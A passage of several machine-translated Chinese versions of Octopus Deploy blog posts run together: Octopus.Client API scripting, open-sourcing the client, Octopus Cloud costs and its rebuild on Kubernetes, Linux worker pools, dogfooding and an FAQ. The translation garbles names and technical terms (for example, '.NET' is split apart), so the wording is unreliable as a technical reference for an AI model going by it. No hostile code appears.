$projects = $repository.Projects.FindAll()
foreach ($project in $projects)
{
$releases = $repository.Projects.GetReleases($project)
$latestRelease = $releases.Items | Select-Object -first 1
$deployment = new-object Octopus.Client.Model.DeploymentResource
$deployment.ReleaseId = $latestRelease.Id
$deployment.EnvironmentId = $environment.Id
$repository.Deployments.Create($deployment)
}
通过一点创造性，您可以自动化您的部署自动化系统，并与您喜欢的工具集成。
解决纷争
Octopus Server API 是一个很好的起点，可以帮助您了解更多关于可用资源以及它们是如何构成的。在您的 Octopus 服务器上浏览到/api即可获得。在通过 web 界面使用 Octopus Server 的同时观看 Fiddler 可以帮助理解更复杂的资源交互，比如创建变量集和部署过程。最后，我发现探索 Visual Studio 和 PowerShell ISE 中的智能感知有助于熟悉 Octopus 中可用的方法和属性。客户端(通过扩展，还有 API)。
快乐的自动化！
章鱼。客户端开源- Octopus 部署
章鱼。Client 是一个代码库，它使得从使用 Octopus REST API 变得容易。NET 应用程序、C#和 powershell 脚本以及 LinqPad 。可以通过 web 界面完成的任何事情也可以使用库以编程方式完成。
几周前我们分离了章鱼。客户端从我们的主要代码库，悄悄地把它的方式与开源许可证。它在我们的 OctopusClients GitHub 知识库中找到了自己的家。
要报告错误、提出问题或请求功能，请使用我们的支持论坛或给我们发电子邮件。我们会对问题和拉取请求进行监控，但是如果它与您遇到的问题有关，请通过我们的支持渠道联系我们，以便我们可以相应地对其进行优先级排序。此外，请首先与我们讨论任何大的变化，以确保它符合我们的产品目标。
取样器
我们还开源了一个工具，在 Octopus 实例中创建样本数据，用于测试和演示目的。您可以在 Sampler GitHub 资源库中找到源代码和文档，在资源库的发布选项卡上可以找到发布。
服务器和兼容性
我们已经决定为我们的开源库和工具采用语义版本。这打破了我们之前保持版本号与 Octopus 服务器同步的惯例。我们的一些图书馆已经开始消失了。
章鱼的主要版本。客户端我们将保持向后兼容一套版本的八达通服务器，允许无忧未成年人和补丁升级。
相反，我们也尽可能保持我们的服务器 API 的向后兼容性，同时仍然能够添加新的特性。这意味着老版本的章鱼。客户端将与新版本的八达通服务器。
请参考我们的兼容性页面，了解哪些版本适用于特定版本的 Octopus 服务器。
。NET 核心和异步 API
我们还移植了章鱼。客户端到。NET Core，目标是 netstandard1.6 和。NET 框架 4.5。这意味着该库现在可以在任何地方使用。净核心运行。现已发布 4.0 版本，兼容八达通服务器 3.3 或更高版本。
由于。NET 标准版的 HttpClient 是完全异步的，我们现在只在。我们将重新添加一个同步 API，如果。NET 标准支持。
API 本身的结构在很大程度上没有改变，应该可以直接移植到异步 API。关于如何使用异步 API 的例子，请看我们的 Octopus。客户文件。
现有 API
如果您将该库与。NET Framework 中，同步 API 仍然可以保持向后兼容性。同步和异步 API 都具有完全相同的功能，并将继续如此。
我们还没有决定弃用同步 API，也不确定何时或是否会弃用。如果我们这样做，我们会给予充分的通知。
Octo.exe
同样在 OctopusClients 资源库中的 Octo.exe 也已经被移植到。网芯。请密切关注近期的跨平台版本。有关该工具的更多信息，请参见我们的文档。
MVP 和 10 万美元 AWS 账单:对推出 Octopus Cloud 1.0 - Octopus Deploy 的思考
我们将发布一系列关于章鱼云的工程之旅。这是我们在 AWS 上推出 Octopus Cloud v2 的故事，我们每月 10 万美元的 AWS 账单，MVP 和测试客户需求，花了 6 个月的工程努力，然后亏本运营服务，又花了 9 个月从头开始重建它，以及我们在重建 Octopus Cloud v2 时所做的所有考虑，包括从 AWS 切换到 Azure，在 Kubernetes 上全押等等。
在这个系列的第一篇文章中，我们将看看我们在 v1 中所做的设计选择，为什么花费这么多，以及为什么我们决定重新开始。
大约一年前,我们推出了 Octopus 的 SaaS 版本 Octopus Cloud ,作为一项实验，看看它是否能为我们的客户带来重大价值并简化他们的部署。我们希望让开发人员专注于他们的部署需求，将管理基础设施的工作交给我们，但我们不知道实施起来有多困难，也不知道启动和运行需要花费多少时间和金钱。
总的来说，我们认为这是一个巨大的成功；足够我们去年投资几乎整个平台从头开始重建。我是发布当前版本 Octopus Cloud 的团队的一员，我想花一些时间来庆祝我们的一些胜利，并反思我们学到的教训，这些教训塑造了我们的重新设计。
有人会使用它吗？
在这个实验中，我们知道有人对云解决方案感兴趣，但是有很多事情我们不知道:
- 有多少客户会真正使用它？
- 这一切要花多少钱？
- 我们应该收取多少费用？它能支付基础设施成本吗？
我们可以猜测其中的大部分，但知道答案是不可能的。工程时间也是非常昂贵的，是我们可以花时间向我们的自托管产品添加功能的时候了。如果没有需求，我们不想花费数年时间来设计一个完美优化的云原生产品。
我们决定根据我们的最佳估计来打造一款 MVP ，并以这种方式测试市场。目标是在 6 个月内推出产品，并测试需求是否存在；如果不是，我们就浪费了 6 个月。我们选择优化以快速上市，而不是担心成本。
需求是存在的。在最初的几天里，我们进行了 500 多次新的云测试。当客户来到我们的网站并决定是试用 Octopus 自托管还是 Octopus 云时，大约有一半的人选择在云中试用 Octopus。
V1 建筑
为了将章鱼云快速推向市场，我们做了最简单的事情；我们将自己托管的 Octopus 服务器产品捆绑到每个注册客户的 EC2 实例中。我们必须对产品进行修改，但主要是在权限方面。
我们实际上已经在一两个月内准备好了章鱼云 v1 的内部 alpha 版本；我记得团队做了 bug bashes 来测试我们的安全性。花费更长时间的是制造我们乐于让客户使用的产品所需的所有步骤:强化安全性、测试、恢复计划等。
为了确保一个用户的数据不会与另一个用户的数据混杂在一起，每个云实例都有自己专用的虚拟机、数据库和大量的安全配置，以防止任何不正当的交易。这是一张图表，展示了这一切的样子。请注意，我们实际上使用 Octopus Deploy 来供应和部署每个 Octopus Cloud v1 客户:
【T2 
服务限制
你知道那种感觉吗？当你开车的时候，你似乎碰到了每一个红灯？这有点像推出章鱼云的感觉；只有红灯是 AWS 服务限制！我们很快了解到 AWS 中的所有东西都有某种服务限制，我们达到了所有的限制。客户会注册，我们会达到一个极限，我们会要求亚马逊增加它，我们会搭载更多的客户，我们会达到另一个极限。每次我们认为我们是安全的，我们就会达到另一个我们不知道的服务极限。
这在我们扩展时造成了一些问题，在某一点上，我们不得不暂停新的注册，同时我们试图提供更多的扩展空间。
云产品可能非常昂贵
每个客户都有一个 EC2 实例，由于我们的数据库是由 Amazon RDS 支持的，所以每个 RDS 实例只能有 30 个数据库。添加存储、网络等。我们每月花费 100 多美元来保持单个章鱼云实例在线。
Octopus Cloud 的客户可以开始 30 天的免费试用，这意味着每月数百个试用注册，每个注册的费用为 100 美元，很快就会增加。
我们的定价也不太合适。我们最初推出的 Octopus Cloud 的起始价格为每月 10 美元，与我们目前使用的定价模式不同。不幸的是，这是我们学到的最痛苦的教训之一，因为我们收费和支出之间的赤字被使用章鱼云的人数放大了；持续增长将进一步加剧这一问题。
两个月后，我们开始认真讨论我们每月 10 万美元的 AWS 支出，以及我们几乎没有收入来抵消这笔支出的事实:
我们应该解释一下， Octopus Deploy 作为一家公司并没有公开上市，也没有风投资金。自 Octopus 1.0 以来，我们一直在自豪地引导和盈利，我们一直在保守和可持续地经营这项业务。我们突然发现自己有了一项新业务，它正以惊人的速度耗费我们的资金。
我们决定吸取我们正在学习的教训，开始一项庞大的工作，我们称之为云 v2；章鱼云的重新想象，可持续发展。
即使在我们构建 v1 时，团队也知道它不是理想的架构。在 v1 推出之前，我们的 Slack 中有很多关于我们是否应该将 Octopus 移植到 Linux 并在 Kubernetes 上运行它，或者看看我们是否可以在 Kubernetes 的 Windows 上运行它，或者使用 Hashicorp 的 Nomad？而这一切都要追溯到 2018 年初，当时一切都在翻腾，没有今天这么成熟。所以单位成本并不令人惊讶。
令人惊讶的是需求。如果每个月只有几个客户注册，我们可以轻松地承担成本(说实话，我们仍然可以，八达通自助有很大的利润！).但是有这么多客户报名，事情就变得紧急多了。每月 10 万美元以上，一年下来就是 120 万美元以上，这足以证明花费工程努力来降低它是合理的。
重新开始
我们探索了各种降低成本的方案，最初的计划是迭代 v1 架构并寻求成本节约，我们确实在这方面取得了一些进展，但最终，我们得出结论，大幅降低成本(不牺牲客户性能)的最佳方式涉及一些实质性的架构变化，本质上是从零开始。
在本系列的其余部分中，我们将深入研究我们在为 v2 重新设计 Octopus Cloud 时所做的每个决定。其中包括:
- 从 AWS 切换到 Azure。
- 将 Octopus 服务器移植到 Linux。
- 在容器中运行章鱼和使用 Kubernetes。
借助 Octopus Cloud v2，我们还支持自己学习和使用大量处于托管和编排前沿的技术。 Terraform 、 containers 、 Kubernetes 和 Azure Functions 只是我们目前工作的几个领域。这种方法带来了自己的挑战，但它也将注入到下一代 Octopus 工具中，我们可以用我们在这个过程中获得的专业知识来构建这些工具。喝我们自己的香槟已经大大提高了 Octopus 的功能，因为我们已经成为自己最大的客户之一。
结论
决定从头开始重建是残酷的，它会让你觉得你之前的尝试是在浪费时间和精力，而那项工作正在被抛弃。明知是一个“MVP”项目也很容易，但是随后却对它产生依恋，假设它将是最终的架构。我们需要认识到，第二步是可能的，因为已经迈出了第一步，在这一过程中吸取的每一个教训都是重要的投入。
构建 Octopus Cloud v2 与 v1 有很大不同，之前我们都是猜测和盲目飞行，这一次我们有真实的数据可以分析，以回答我们的一些问题:我们知道用户将花费什么，我们知道什么东西将花费什么，我们知道预计会消耗什么样的资源，在这些事情之间，我们知道如何创建一个真正可扩展的平台。
在 Octopus Cloud 上宣布 Linux 工人池- Octopus Deploy
原文：https://octopus.com/blog/octopus-cloud-built-in-linux-worker-pools
有了 Octopus 托管的动态工作池，你可以在几分钟内启动 Octopus Cloud 实例并在 Windows 机器上运行 PowerShell 部署或 runbook 步骤。不幸的是，在 Linux 机器上运行 bash 脚本并不总是那么容易。
章鱼云对 Linux 工作者的支持不足，让我们从上线开始就有点难过。您已经能够添加自己的 Linux 工作器，但是感觉不如为 Windows 提供的对动态工作器的内置支持那样自然。
Ubuntu 18.04 工作程序现已推出
从今天起，我很高兴地宣布我们支持章鱼云上的 Ubuntu 工人。这是我们在成为 Windows 工作负载和 Linux 工作负载最佳部署工具的征途上向前迈出的一步。
Windows 2019 工作人员现已推出
我也很高兴分享，我们已经推出了 Windows 2019 workers。我们仍在切换每个人，但您可以通过导航到 基础架构➜工作池 来选择在您的实例中使用新的工作映像。
Docker 现已预装
切换到 Windows 2019 workers 的一个很大的积极因素是 docker 也安装了，所以你可以用你自己的自定义 Docker 图像让你的构建闪闪发光；唯一的限制是你的想象力(哦，还有 DockerHub 下载时间)。
我们真正感到兴奋的一件事是，增加对 Docker 的支持真正开放了我们的执行容器特性，它已经在特性标志后面有一段时间了。作为我们早期访问计划的一部分，现在每个人都可以使用该功能。
最后一件事，我们的工人工具容器也已经更新，现在支持刚刚发布的 Terraform 0.13 版本。查看 PR #20 了解所有可用版本的详细信息。
尽管走
下一节将介绍如何在 Linux worker 上运行 bash 脚本。作为补充，我们将从容器内部执行 Terraform，以展示使用最新版本是多么容易。
为 DockerHub 配置外部提要
如果您还没有为 DockerHub 配置提要，请转到 库➜外部提要 并点击添加提要按钮。在 Feed Type 字段中选择Docker Container Registry，并为其命名，我称之为 mine Docker Hub 。
创建新的 runbook
创建新的员工库后，转到“项目”选项卡，创建一个新项目。从那里，转到 Runbooks 并点击 Add Runbook 按钮并给它命名。
在 process 选项卡上，添加一个新的运行脚本步骤。在 worker 上选择 Run once 将让您选择新的 worker pool，并显示一个名为容器映像的新部分。
选择 Docker Hub feed，然后点击底部的Use latest Linux-based image链接。这将自动使用最新版本填充该字段。
最后，对于脚本，选择 Bash 并输入以下脚本:
cat <<EOT > main.tf
resource "null_resource" "example1" {
provisioner "local-exec" {
command = "echo 'hello'"
}
}
EOT
echo "-----terraform init-----"
terraform init -no-color
echo "-----terraform apply-----"
terraform apply -no-color -auto-approve
点击保存，然后运行将执行脚本:
虽然这个脚本并没有做多少事情(它echo发出了“hello”)，但是它强调了运行 bash 脚本和使用最新的 Terraform 版本是多么容易。
结论
我们希望您和我们一样对这些新功能感到兴奋。今天就给它一个狂欢吧(一语双关),让我们知道你的想法！
愉快的部署！
吃我们自己的狗粮-章鱼部署
我们在构建 Octopus Cloud 时遵循的指导原则之一是尽可能多地使用 Octopus Deploy，这样我们就可以增加 Octopus 的内部使用量，实质上就是“吃我们自己的狗粮”。我们真的很重视这一点，以确保我们感受到的痛苦与我们的客户一样，并帮助章鱼做得更好。
虽然这并非没有挑战(部署工具不一定是管理 SaaS 平台的首选！)，总的来说这是一次有趣的旅程。这肯定是有回报的，我们已经能够在现实世界中测试和改进 Octopus。
这篇文章介绍了这种方法产生的一些更有趣的东西。
章鱼 DSC
OctopusDSC 是我们的期望状态配置模块，允许安装和配置 Octopus 服务器和触手。虽然它已经处于相当好的状态，但它不是我们在愤怒时经常使用的东西，所以它有一些粗糙的边缘。
使用它来提供 Octopus 云实例和我们的管理实例，意味着我们投入了相当多的精力来改进它。我们已经:
- 使其在高可用性场景中工作。
- 改进它以遵循处理密码的最佳实践。
- 添加了对为共享数据存储指定网络共享的支持。
- 添加了指定内置工作人员凭据的功能。
- 添加了“已安装但未配置”状态，以大幅缩短实例启动时间。
安全性
实施 Octopus Cloud 意味着我们更加关注安全的方方面面。当使用输出变量来传递 API 键时，我们意识到这里有一个潜在的缺陷，敏感值可能会以明文形式输出到日志中。现在有和一个-sensitive参数来确保这种情况不会发生。
工人联合起来！
很长一段时间以来，你都可以在 Octopus 服务器上运行自己的脚本。在高度信任的环境中，这不是问题，但对于一些组织(尤其是在 SaaS 世界中)来说，这并不理想。为了解决这个问题，我们添加了指定一个用户帐户的功能，以便在使用内置 worker 的服务器上运行脚本时使用。这允许我们作为一个单独的低特权用户运行脚本，减少了潜在的影响。
虽然这大大减少了出错的可能性，但它仍然没有我们想要的那么好。我们已经做了大量工作来实现 Workers(一种配置一个或多个触角作为卸载工作的地方的方法——包括运行脚本——从 Octopus 服务器)的第一部分在 2018.6.0 中放弃了。这为将来允许我们将这些在服务器上运行的任务外包给一次性容器奠定了基础，给了我们更大的隔离。
韵律学
有效地管理一大堆 Octopus 服务器意味着我们真的需要先发制人地知道发生了什么，以及事故何时发生。我们使用 Elasticsearch 来存储我们的指标，使用 Grafana 来查看它们，使用 Telegraf 来读取和发送指标。我们为 Octopus 服务器添加了将任务和 web API 指标记录到文件中的功能，因此 telegraf 可以接收它们并将其发送到 Elasticsearch。这与一些内置的 telegraf 功能相结合，使我们拥有了一些令人惊叹的仪表板，如:
我们运行和管理 Octopus 的一大好处是，我们可以看到关于 Octopus 在现实世界中表现的广泛、高水平的指标。这也意味着，如果出现性能问题，我们会受到更高规格机器成本增加的影响——这只能是提高 Octopus 性能的胜利！
我们将在另一篇博文中深入探讨指标和仪表板的细节。
房客
我们大量使用多租户部署模式。这帮助我们找到了一些不像我们希望的那样容易使用的区域。而我们在这方面还没有太大的进展(太多好的想法，时间不够！)，我们学到了很多东西，也有了一些好的想法，可以在未来做得更好。
我们成功实现的一个立竿见影的效果是对租户使用脚本控制台的能力。以前，您必须查找基础设施页面，找到与该租户相关联的所有实例，记下它们，然后返回脚本控制台并手动选择实例。相当痛苦，更不用说容易出错。现在，它就像选择租户一样简单，您可以开始了！
压碎那些虫子
在相当早的时候使用新的地形、 S3 和云形成步骤，可以让我们找到一堆只在现实世界中出现的琐碎边缘情况。虽然我们在尝试构建章鱼云时发现这些错误很烦人，但对我们来说，打击这些错误比你这个客户更可取。一旦这些特性可用，立即使用它们的好处之一就是相关的开发人员仍然处于相同的“顶部空间”,可以很容易地找到并修复错误，而不是在 3 个月后忘记所有的上下文。
另一个 dogfooding 的胜利是发现了一个讨厌的计时错误，它导致了在慢速连接登录时浏览器重定向。我们所有的开发测试都是用快速连接完成的，所以这个 bug 从来没有出现过。我们自己部署和使用它意味着我们很快就找到并修复了这个 bug。
可用性
我们的可用性团队已经做了一些用户测试，并观察了用户注册和开始使用 Octopus 的过程。看到新客户和现有客户都在使用该产品，并看到事情并不像我们想象的那样顺利、简单，这真是大开眼界。我们已经开始实施 UX 的一些改进，取得了很好的效果。
请密切关注即将发表的关于这一问题的更详细的博文。
小麻烦
每天使用八达通突出了一些小问题，这些问题阻碍了我们想要的超级流畅的体验。其中之一是Configuration->Nodes页面上的“运行任务”链接。它会将“3 个正在运行的任务”显示为一个链接，您可能会认为单击该链接会显示这 3 个任务，但实际上，它显示的是该节点的所有任务，而不考虑状态。虽然这不完全是一个节目停止，但它是一个经常让我恼火的问题，我花时间去修复它。现在，您只能看到正在运行的任务——这在您清空节点、准备替换它时非常有用！
另一个小麻烦是当一个任务被另一个任务阻塞时显示的消息:
Cannot start this task yet because "ServerTasks-46122" (has a read lock) tasks are currently running
and this task cannot be run in conjunction with any other tasks. Please wait...
虽然它是功能性的(它告诉你它在某些事情上被阻止了)，但它是不和谐的，部分是因为语法，但也是因为弄清楚ServerTasks-46122是什么的挑战。您可以复制 ID 并操纵 URL 来访问它，但这并不直观。现在，语法已经修复，ID 现在是运行任务的直接链接。再说一次，这并不是一个完美的结局，但是当你试图弄清楚发生了什么的时候，它会让你的生活变得更加容易。
还有很多事要做
虽然除了我在这篇文章中提到的，还有很多东西要谈，但我不想让你太无聊。我们还有一长串需要解决的问题——睁大眼睛，寻找持续的改进。
开心(章鱼云)部署！
Octopus 云常见问题解答- Octopus 部署
我们现在已经讨论了一段时间，章鱼云就快到了- 欢迎来到明日世界！自 2018 年初以来，我们一直在与少数用户进行封闭测试，测试该平台的速度，2018 年 6 月，我们将向另一组早期用户开放，在 2018 年第三季度公开发布之前。
考虑到这一点，我们收集了一些我们经常被问到的问题，这样你就可以尽快了解情况。如果您还有我们没有在这里回答的问题，那么请联系我们的支持团队，我们将很乐意为您解答。
如果您想偶尔了解一下我们在章鱼云方面的进展，并希望在我们正式公开发布时得到通知，请注册您的兴趣，我们会随时通知您。
一般
章鱼云什么时候公开？
自 2018 年 2 月以来，我们一直在测试 Octopus Cloud，2018 年 6 月将为注册兴趣的选定用户提供早期访问。因此，我们预计章鱼云将于 2018 年第三季度(7-8 月)公开发售。
我可以将我的现有部署数据从我的自托管(本地)Octopus 服务器导入 Octopus 云实例吗？
我们计划发布迁移工具，帮助您将现有的自托管项目和配置无缝过渡到新的云实例。然而，在发布的早期阶段，任何项目都需要从头开始建立，或者使用octo 导入。
我住的地方不在任何可用的云区域附近:我可以将我的 Octopus 云实例托管在离我的位置更近的地方吗？
2018 年，章鱼云支持美国俄勒冈州一个地区(AWS us-west-2)。
2019 年，我们重新构建了章鱼云，现在我们支持以下地区:
- 美国华盛顿(Azure West US 2)。
- 荷兰(蔚蓝西欧)。
如果您想具体请求某个地区，请发送电子邮件至support@octopus.com，我们会将您的请求添加到列表中。
我想将现有的云实例移动到不同的区域。这可能吗？
是的，这是可能的。请在support@octopus.com给我们发一封电子邮件，我们将在下一个停机窗口中移动您的实例。
功能和用途
自托管(内部部署)章鱼和章鱼云有什么区别？
章鱼和章鱼云是同一个产品，只是章鱼云是由我们的团队为您管理、监控、备份、自动升级。但是，一些有限的配置和诊断功能可能在 Octopus Cloud 中不可用(出于安全原因)。
我们的最终目标是，你可以在自托管 Octopus 中做的任何事情，你也应该能够在云托管系统中做——这包括我们详尽的 API 和所有你知道和喜欢的步骤和功能。
如果我想取消我的 Octopus 实例，我能导出我的数据吗？
是的，当然！我们将确保您有能力在终止您的帐户之前检索您的 Octopus 实例的数据库备份。
我可以/不可以对我的 Octopus 云实例做什么？有限制吗？
总的来说，我们已经尽可能地授权给我们的用户，而不引入任何安全或资源共享问题。我们已经写下了我们对这个问题的想法，以及我们认为“过度使用”的各种事情和我们将对此采取的措施，形成了一个可接受的使用政策——你可以在这里阅读该政策。
安全性和可用性
您提供什么样的正常运行时间保证？
在发布时，我们将无法提供任何具体的保证，直到我们可以确定我们可以满足他们-为了做到这一点，我们需要有用户在平台上，所以我们可以衡量我们的可用性。
也就是说，我们将尽我们的绝对最大努力确保您保持在线，并部署您的章鱼云，包括让一名工程师全天候待命，以应对通过我们的监控系统报告的任何事件。
八达通员工可以访问我的数据吗？
Octopus 的工作人员无法“长期访问”你的数据:也就是说，我们不能打开你的账户，搜查你的东西。如果您在任何时候需要帮助，并且您明确允许我们为了帮助您而登录您的实例，那么我们会这样做:但是必须得到您的批准。在这种情况下，Octopus 支持工程师采取的任何行动都将在您的实例中被完全审计，因此您可以确切地看到我们做了什么(如果有的话)。
在其他支持事件中，例如恢复备份或响应您对加密数据的请求，我们能够从加密存储中恢复您的主密钥，并可以使用它来恢复您的数据。在恢复失败实例的情况下，我们可以自动完成这项工作。对于其他支持情况，我们可能会要求您明确允许我们访问您的主密钥。
谁拥有我的 Octopus 实例中的数据？
您输入到您的八达通实例的所有数据(包括软件包和脚本)完全归您所有:因此，如果您取消您的八达通许可证，这些数据将归您所有(参见相关问题“如果我想取消我的八达通实例，我可以将我的数据导出吗？”).
但是，我们将收集广泛的使用统计数据(例如，给定类型的步骤数、部署频率等。)以便我们能够了解客户的使用模式并尽可能优化服务。这些统计数据本质上是一般性的，不包含任何细节，比如项目名称、脚本内容等等。
我需要备份我的 Octopus 实例吗，或者你会为我做吗？
你不需要备份——这是托管平台的一部分。我们全天定期备份实例数据库，并将它们安全地存储在 blob 存储中，因此万一发生灾难，我们有多个恢复点。
我们将在发布后频繁评估我们的备份和恢复战略，以根据需要提高弹性和恢复能力。
我对我的实例有完全的管理权限吗？什么是“章鱼经理”
在你的云实例上，有一些与 Octopus 本身的托管相关的选择权限，而不是你的实例的配置/可用性(例如，服务器配置日志)，所以我们引入了一个新的内置团队，称为“Octopus Managers”:把它想象成一个“云实例管理员”。“Octopus Administrators”团队仍然存在，但它只由我们的 octoadmin 帐户使用，如果您要求我们登录您的实例以获得支持。
如果你发现有些东西你认为你作为一个“章鱼经理”应该有权访问，但没有，让我们知道，我们可以审查权限。
技术的
Octopus 云实例的 IP 地址是静态的吗，这样我就可以在我的网络上将其列入白名单？
不幸的是，还没有。IP 地址是“粘性的”,因为它在实例运行时是固定的——但是如果实例由于某种原因重新启动，则可能会在重新启动时分配一个新的 IP 地址。作为这个过程的一部分，我们的基础设施将自动更新您的 DNS 记录，因此它不会影响您的正常使用，但它可能会给您带来白名单方面的痛苦。我们建议您在轮询模式下使用触须，这样您就不需要章鱼进入您的网络，直到我们有静态 IP 支持可用。
定价
我可以获得章鱼云的免费试用版，在购买之前进行评估吗？
当然啦！我们提供 30 天的试用期，不需要信用卡:只需输入您的详细信息，我们就会为您准备好实例。大约在试用结束前一周，我们会给你发电子邮件，看看你的进展如何，以及你是否想继续使用你的云实例。如果是这样，您将能够选择一个定价等级，设置付款信息，并无缝过渡到每月计划。如果没有，不会有什么不好的感觉，我们会把你的实例拆掉(有很多警告，不要担心！)而且你根本不用付钱。
我可以在注册后升级我的八达通收费等级吗？
是的，只要对您有意义，您就可以根据自己的需要增减您的许可证！每当您更改等级时，您的限额将立即调整，并且价格将在下一个计费周期发生变化。查看章鱼云定价
如果我在月中取消我的八达通云实例，我可以得到退款吗？
我们一次一个月对八达通云收费，所以如果您取消，您将在月底取消付费期。然而，如果您认为您有权获得退款，请务必通过 sales@octopus.com告诉我们，我们将尽最大努力提供帮助。
我可以每年为我的章鱼云实例付费吗？
目前没有，但我们确实打算在不久的将来提供这个选项。
章鱼云有免费版吗？
我们绝对喜欢这是可行的，并希望在未来朝着它努力，但在推出时，除了 30 天的试用，将不会有免费版的章鱼云。
如果我需要更多节点怎么办？可以购买章鱼云的 HA /数据中心许可证吗？
最初发布时不会，因为在 HA 领域有一些非常独特的挑战需要解决。但这肯定是我们在不久的将来要实施的计划。
这个问题列表当然不是详尽的，所以如果你没有找到你要找的东西，请随时问我们！如果你认为其他用户也可以从中受益，请在下面的讨论区提出问题；否则请通过电子邮件联系我们，我们会尽全力协助。
愉快的(云)部署！
为什么我们选择 Kubernetes，Linux 和。章鱼云的网络核心-章鱼部署
我们将发布一系列关于章鱼云的工程之旅。这是我们在 AWS 上推出 Octopus Cloud v2 的故事，我们每月 10 万美元的 AWS 账单，MVP 和测试客户需求，花了 6 个月的工程努力，然后亏本运营服务，又花了 9 个月从头开始重建它，以及我们在重建 Octopus Cloud v2 时所做的所有考虑，包括从 AWS 切换到 Azure，在 Kubernetes 上全押等等。
在本帖中，我们将探讨可用于降低成本、提高性能的计算选项，以及我们最终如何决定迁移到 Kubernetes、Linux 和。网芯。
此系列中的帖子:
章鱼云于 2018 年 7 月作为 MVP 推出，以测试客户需求，我们在推出后获得了一些很好的见解。我们发现自己有以下问题:
- 需求强劲的基于云的 SaaS 产品。
- 一种定价模式，在这种模式下，每名客户的收入无法覆盖 AWS 的托管成本。
- 为每个客户分配专用虚拟机的非优化架构。
Octopus 一直被设计为托管在用户自己的硬件上，而不是作为多租户共同托管的解决方案。因此，在设计 Octopus Cloud v1 时，有许多不同的途径可供选择。根据最优秀的工程传统，我们从最简单的可能有效的方法开始，在这个例子中，在一个专用的虚拟机上托管每个客户。这是一个巨大的成功，它消除了许多未知因素，留给我们两个明确的问题来关注...
- **降低成本:**特别是对于使用率低或休眠的实例
- **提高性能:**缩短供应时间，为高利用率的实例提供更多选项
每个章鱼云 v1 客户的运营成本是多少？
每个 v1 客户的托管成本的主要组成部分是(大约以美元计):
- 数据库: $9
- 文件存储: $23
- 计算机(虚拟机): $50
这使得每个客户的总托管成本大约为82美元。真正的问题是计算成本无法降低，所以即使是一个休眠的试验，其成本也与一个活跃使用的实例相同。
我们的目标是在低使用率的情况下，将每个客户的成本降低到 10 美元以下。
这里值得一提的是，Octopus 是作为一个完整的框架实现的。NET 应用，需要 Windows，HTTP 服务器作为自托管 NancyFX app 运行，我们从一开始的目标的一部分就是:不要叉章鱼。我们非常希望为我们的自托管和云产品维护一个单一的代码库。此外，在我们希望降低成本的同时，我们还希望提高性能和可用性。我们的客户期望快速响应的体验，我们不想对此产生负面影响。
选项
我们将在以后的文章中更多地讨论数据库和文件存储组件。今天，我们将重点讨论计算成本。
每个选项都摆在桌面上，但事后看来，它们可以归纳为几个一般方法:
- 单个多租户服务器。
- 每个客户的 Windows 流程。
- Azure App 服务。
- 库伯内特斯.
在我们审查这些选项时，请记住，这些是我们根据当时的情况和限制形成的意见。这些发现可能是不正确的(或者最多只对我们特定的输入集是正确的)，如果我们在不同的时间处理这个问题，我们的决定可能会有所不同。认为你被否认了。
选项 1:单个多租户服务器
我们提出了一个假设的问题:
如果我们今天从零开始构建 Octopus，作为云托管的 SaaS 产品，它会是什么样子？
我们几乎肯定会将其构建为多租户解决方案；换句话说，一个可以为所有客户服务的 web 应用程序。
这种方法的主要优势是使服务器托管非常简单，因为它只是一个常规的 web 应用程序。
不幸的是，Octopus 不仅仅是一个网络服务器:它还是一个任务运行器。
我们可以很容易地想象将 Octopus HTTP 服务器修改为多租户。我们仍然可以为每个客户创建一个数据库，并确定用于每个请求的连接字符串。任务编排组件可能更复杂，但并非不可能；然而，这将需要大规模翻新。
投票触角将是一个复杂的问题。我们不会在这篇文章中深入探讨细节，但知道除了翻新之外，我们还必须拆除几堵墙(并添加一个浴室)来支持这种架构的轮询触角就足够了。
当我们继续定期发布产品更新时，这些革新必须发生。这会让我们在以下两者之间做出残酷的选择:
- 保持托管架构在一个独立的长期分支上重构，然后面对合并一个长期分支和主要架构变更的挑战。
- 定期合并，可能会破坏我们自主托管客户的稳定。
如果没有其他选择，我们可能会走这条路，有一天我们仍然会走这条路。但是我们觉得我们可以鱼与熊掌兼得。我们相信，我们可以大幅降低我们的托管成本，同时将核心 Octopus Deploy 产品的风险降至最低。
选项 2:每个客户的 Windows 流程
通过这种方法，我们可以将每个客户作为一个专用进程在 Windows 虚拟机上运行。该进程将托管 Octopus 服务器 API 和任务运行器组件，每个客户仍将拥有自己的数据库。
这里最大的优点是只需要对 Octopus 产品做很少的改动。它还将为我们提供大量灵活的托管选项(AWS、Azure、自托管等)。).
这种方法的最大缺点是我们需要自己编排这些过程。使用此解决方案，我们需要回答的一些问题是:
当新客户到来时，我们如何决定在哪个虚拟机上执行他们的流程？
我们会使用一个静态数字吗，比如每个虚拟机 10 个实例？我们会考虑 CPU 和内存的使用吗？
我们如何处理吵闹的邻居问题？
如果客户使用的资源比预期的多，并且影响到了同一台机器上的其他用户，我们会重新部署他们吗？如果会，部署到哪里？
当客户离开时，我们会填补这些空缺吗？
很多人用云章鱼做试验，后来都放弃了。如果我们不重新分配，这将导致虚拟机数量稀少，随着时间的推移，这将降低项目的效益。
当然，所有这些问题都可以回答，但是它们需要编写和维护编排代码，这不是我们核心业务的一部分。这种编排代码不太可能是与云无关的，这让我们只能依赖于特定的供应商。
选项 3: Azure 应用服务
争论的最佳服务器数量是多少？零！
我们可以作为 Azure web 应用程序托管每个客户。
这种方法的巨大优势是不需要管理虚拟机。
这种方法的缺点…嗯，有几个。类似于每个客户处理选项，我们仍然需要在服务计划之间协调分配用户。类似于多租户选项，我们仍然需要重新设计任务编排和轮询触手部分。
哦，当然，我们仍然在 AWS 上，而不是 Azure(未来帖子的剧透警告:这即将改变)。
也有人担心我们会任由 Azure gods 摆布，以及可怕的供应商锁定。尽管看起来不太可能，但如果 Azure 弃用应用服务会怎样？如果定价模式发生重大变化会怎样？如果你运行一些 Azure 网络应用程序，而价格飙升，那就是糟糕的一天。如果你运行成千上万个…
我们放弃了这个选择。
选项 4: Kubernetes
作为部署工具行业的一员，我们饶有兴趣地关注着这一领域的新技术。在过去的几年里，我们看到 Kubernetes 从一个除了 devops 之外很少有人听说过的有趣项目，发展成为我们最受欢迎的功能请求之一。因此，在我们自己的托管平台上做出这个决定的背景下，Octopus 内部的一个小团队正忙于在产品中实现对 Kubernetes 的支持。当然，将集成构建到产品中涉及到大量的探索、评估和对 Kubernetes 的广泛使用，因此一个令人愉快的副作用是，我们在 Kubernetes 内部获得了一些经验，并提倡考虑它来满足我们自己的需求。
但是有一个重要的障碍:Octopus 在 Windows 上运行。
